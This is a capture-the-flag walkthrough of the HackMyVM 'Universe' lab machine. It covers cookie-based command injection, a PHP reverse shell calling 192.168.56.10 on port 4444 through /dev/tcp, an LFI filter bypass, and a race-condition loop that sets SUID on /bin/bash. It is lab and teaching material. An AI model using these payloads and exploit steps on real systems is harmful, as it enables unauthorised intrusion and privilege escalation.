Introduction#
Difficulty: Hard
Target Address: https://hackmyvm.eu/machines/machine.php?vm=Universe
Initial Access#
A simple scan
# Nmap 7.95 scan initiated Wed Jul 2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_ 256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Port 21 cannot log in anonymously.
Port 1212 is http, and from the nmap scan results, there is a user parameter.
After accessing a few times, I found that the user changes randomly.
Directly using fuzzing, trying to download the entire webpage.
for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done
Finally, 9 works.
I also tried wfuzz, but it was unsuccessful. However, theoretically, using fuzzing tools should work, so I leave it for everyone to try~
wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"
Cookie Exec#
According to the webpage, it seems that a cookie needs to be passed in, but directly passing the value to exec will cause an error.
So I encoded it in base64 to successfully execute the command (this part is quite hard to think of, and the target machine gives no hints).
I used wget rev.sh and then bash rev.sh.
Finally, here is the source code of the challenge:
from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random
app = Flask(__name__)
user_id_range = range(1, 1001)
@app.errorhandler(404)
def page_not_found(e):
return redirect(url_for('index', user=random.choice(user_id_range)))
@app.route('/')
def index():
try:
user_id = int(request.args.get('user', -1))
except ValueError:
return redirect(url_for('index', user=random.choice(user_id_range)))
if not isinstance(user_id, int) or user_id not in user_id_range:
user_id = random.choice(user_id_range)
return redirect(url_for('index', user=user_id))
if user_id == 9:
encoded_command = request.cookies.get('exec', '')
if encoded_command:
try:
command = base64.b64decode(encoded_command).decode()
result = subprocess.check_output(command, shell=True).decode()
return render_template('universe.html', result=result)
except Exception as e:
return render_template('universe.html', result="Invalid cookie value"), 500
else:
return render_template('universe.html', result="Missing 'exec' cookie")
return render_template('index.html', user_id=user_id), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1212)
Privilege Escalation#
Port Forwarding#
ss -plntu
shows that there is a local-only accessible port 8080.
So I forwarded the port, which can be done with socat, but I prefer using ssh remote port forwarding because it is more versatile.
ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]
Then I can access it directly.
LFI#
The page clearly has LFI, but there are restrictions. After trying a few bypasses, I found that double writing can bypass it by using …//…//…// to return to the parent directory.
Don't forget we have a shell, so first create a PHP reverse shell in the tmp directory, and then include it.
<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>
Access http://127.0.0.1:18080/?file=..././..././....//tmp/shell.php
to get the void user's shell.
Here is the source code as well:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Void</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #fffff;
}
header {
background-color: #222529;
padding: 10px;
color: white;
text-align: center;
}
nav {
background-color: #444;
padding: 10px;
text-align: center;
}
nav a {
color: white;
text-decoration: none;
margin: 0 10px;
}
.container {
padding: 20px;
}
</style>
</head>
<body>
<header>
<h1>Void</h1>
</header>
<nav>
<a href="?file=love.php">Love</a>
<a href="?file=shine.php">Shine</a>
<a href="?file=sadness.php">Sadness</a>
</nav>
<div class="container">
<?php
if (isset($_GET['file'])) {
$file = str_replace("../", '', $_GET['file']);
$path = "/home/void/web-void/$file";
if ($file === 'shine.php') {
echo '<p>Like the stars in the universe, your inner light shines with unique beauty and incomparable purpose. Although you may feel "void" at this moment or any other time, remember that in the infinite canvas of the cosmos, every star has its place, and you, dear stranger, are a priceless star in the constellation of life. Your presence illuminates the world in ways you cannot imagine. You can still go on</p>';
} elseif (file_exists($path)) {
include($path);
} else {
echo '<p>Under construction</p>';
}
}
?>
</div>
</body>
</html>
Quasar Reverse Engineering#
sudo -l to start.
Besides Quasar, there is also a print.sh script in this directory.
void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
First, let's take a closer look at Quasar.
The program checks if the password is correct and then executes print.sh.
In today's world, using IDA and MCP for automated reverse engineering is the way to go.
## Program Function Analysis
### Program Overview
This is a password verification program named "universe," with the main functions:
1. Accept a command line argument as a password.
2. Generate a key based on mathematical operations.
3. Compare the input password and the generated key using SHA256 hash.
4. If verification passes, execute a shell script.
### Detailed Function Analysis
#### 1. Main Function (main - 0x14f2)
- Checks the number of command line arguments, which must be 2 (program name + password).
- If the arguments are incorrect, outputs usage instructions: "Uso: ./Quasar <password>"
- Calls three key functions for password verification.
#### 2. Key Generation Function (sub_1219)
This function generates a 10-character key through complex mathematical operations:
- Uses a double loop (outer 0-9, inner 0-4).
- In each iteration, performs the following mathematical operations:
- `sin(π * n9/3 + n4)` squared.
- `log(n9 + n4 + 3)` multiplied by the above result.
- `exp(sqrt(n9 + n4 + 1))` added to the previous result.
- `tgamma(n9 + n4 + 1)` gamma function calculation.
- Finally, converts the calculation result to characters and stores them.
#### 3. SHA256 Hash Function (sub_1414)
- Performs SHA256 hashing on the input 10-byte data.
- Converts the 32-byte hash result to a 64-character hexadecimal string.
- Uses OpenSSL's SHA256 functions (SHA256_Init, SHA256_Update, SHA256_Final).
#### 4. Verification Logic
- Generates a mathematical key and calculates its SHA256 hash value.
- Calculates the SHA256 hash value of the user input password.
- Compares the two hash values for equality.
- If they match, executes the `/scripts/print.sh` script.
- If they differ, outputs "Error!"
### Security Features
- Uses stack protection (stack canary).
- Password verification is based on complex mathematical operations, making it difficult to reverse engineer directly.
- Uses standard SHA256 hash algorithm for comparison.
Reproducing the Calculation Logic#
From the decompiled code, it can be seen that the mathematical operations for key generation are deterministic, and we can reproduce it using a Python script:
import math
def generate_key():
s1 = ""
for n9 in range(10): # 0 to 9
v10 = 0.0
for n4 in range(5): # 0 to 4
# sin(π * n9/3 + n4)^2
x = math.sin(math.pi * n9 / 3.0 + n4)
v5 = x ** 2
# log(n9 + n4 + 3) * v5
v6 = math.log(n9 + n4 + 3) * v5
# exp(sqrt(n9 + n4 + 1)) + v6
x_1 = math.sqrt(n9 + n4 + 1)
v7 = math.exp(x_1) + v6
# tgamma function processing
v3 = n9 + n4 + 1
if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
v3 = 0
# tgamma(n9 + n4 + 1) * v3 + v7 + v10
v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
# Convert to character
char_val = int(100.0 * v10) % 10 + 48 # 48 is the ASCII for '0'
s1 += chr(char_val)
return s1
# Generate key
key = generate_key()
print(f"Generated key: {key}")
# Calculate SHA256 hash
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")
The password is 9740252204.
Write-After-Free#
The content of the print.sh script is as follows:
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"
This script performs the following operations:
- Uses the
mktemp
command to create a temporary file in the/tmp
directory, with a name starting withread-
followed by five random characters. - In a subshell (enclosed by
(
and)
), it first sets the file creation mask to110
using theumask
command, meaning the newly created file will have 556 permissions. - Back in the main shell, it writes the string test to the temporary file.
- Uses the
cat
command to read the contents of the temporary file and stores it in the variabledata
. - Finally, it uses the
eval
command to execute the contents of thedata
variable and deletes the temporary file.
In the script, the commands are executed line by line, meaning there is a time gap before eval executes. If we can overwrite the temporary file's contents during this time gap, we can inject and execute arbitrary commands.
Open another terminal and execute the following command:
while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done
The principle is simple: it continuously monitors the temporary files in tmp (using wildcards), and as soon as one exists, it writes the privilege escalation command into it.
In the end, the competition was successful, and I obtained root privileges!
Postscript#
The Universe target machine is very well designed and is a highly comprehensive target machine. Although it is marked as "hard" difficulty, I believe the overall difficulty is not particularly high, and the process of overcoming it was relatively smooth; it was just a matter of progressing step by step. Besides needing to encode for exec, there were no other particularly difficult points. Especially the final privilege escalation stage, which cleverly utilized the race condition vulnerability in the print.sh script, added a highlight to the entire challenge. Overall, this is a highly recommended comprehensive target machine!